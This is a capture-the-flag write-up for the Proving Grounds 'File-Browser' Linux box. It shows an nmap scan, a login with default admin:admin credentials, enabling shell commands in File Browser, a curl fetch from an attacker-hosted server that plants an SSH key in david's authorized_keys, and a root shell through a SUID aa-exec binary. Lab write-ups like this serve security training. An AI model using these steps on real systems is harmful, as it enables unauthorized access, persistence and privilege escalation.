# File-Browser Writeup - Proving Grounds

> Intermediate Linux box where File Browser's default credentials and an enabled shell feature give command execution, an uploaded SSH key gives a foothold as david, and a SUID aa-exec binary gives root through GTFOBins.

- **URL:** https://hackindex.io/writeups/file-browser
- **Platform:** Proving Grounds
- **Difficulty:** Intermediate
- **Operating system:** Linux
- **Tags:** default-credentials, rce, gtfobins, suid, privilege-escalation, filebrowser
- **Authors:** [The Husky Hacker](https://hackindex.io/authors/thehuskyhacker.md)
- **Read time:** 2 min read
- **Published:** 2026-10-08
- **Updated:** 2026-10-08

File Browser is left with default credentials and its shell-execution feature enabled, giving authenticated command execution. Planting an SSH key in david's `authorized_keys` gives a stable foothold, and a SUID `aa-exec` binary hands over root through GTFOBins.

## Reconnaissance

### Nmap

Scan for open ports.

```bash
nmap -Pn --open $TARGET_IP
# 22/tcp   open  ssh
# 8080/tcp open  http-proxy
```

Port 8080 hosts a File Browser login portal. Default credentials `admin:admin` work.

## Exploitation

### Enabling command execution

File Browser has a shell toggle in the top bar, but commands are disabled by default. From **Settings -> User Management**, enable the system executables (space-separated): `id bash nc rm sudo find cd echo mkdir touch ls cat curl wget`. Toggling the shell icon now runs commands directly.

### SSH access as david

An SSH private key exists for the user `david`, but password authentication is enabled on the service, so the key alone will not log in. Instead, host a public key and write it into `authorized_keys` through the enabled shell.

```bash
ls -la /home/david/.ssh
# id_rsa  id_rsa.pub  authorized_keys
```

```bash
python3 -m http.server $ATTACKER_PORT
# Serving HTTP on 0.0.0.0 port $ATTACKER_PORT
```

```bash
curl $ATTACKER_IP:$ATTACKER_PORT/authorized_keys -o /home/david/.ssh/authorized_keys
```

```bash
ssh david@$TARGET_IP
# david@filebrowser:~$ id
# uid=1001(david) gid=1001(david) groups=1001(david)
```

## Privilege Escalation

### SUID aa-exec (GTFOBins)

Look for SUID binaries.

```bash
find / -type f -perm -4000 2>/dev/null
# /usr/bin/aa-exec
# /usr/bin/sudo
# /usr/bin/su
# /usr/bin/passwd
# /usr/lib/openssh/ssh-keysign
```

`aa-exec` is SUID. GTFOBins lists a direct privilege escalation for it.

```bash
aa-exec /bin/sh -p
# # id
# uid=1001(david) gid=1001(david) euid=0(root) groups=1001(david)
```

Related

## References

- [GTFOBins: aa-exec](https://gtfobins.github.io/gtfobins/aa-exec/#suid) - Using a SUID aa-exec binary to spawn a root shell.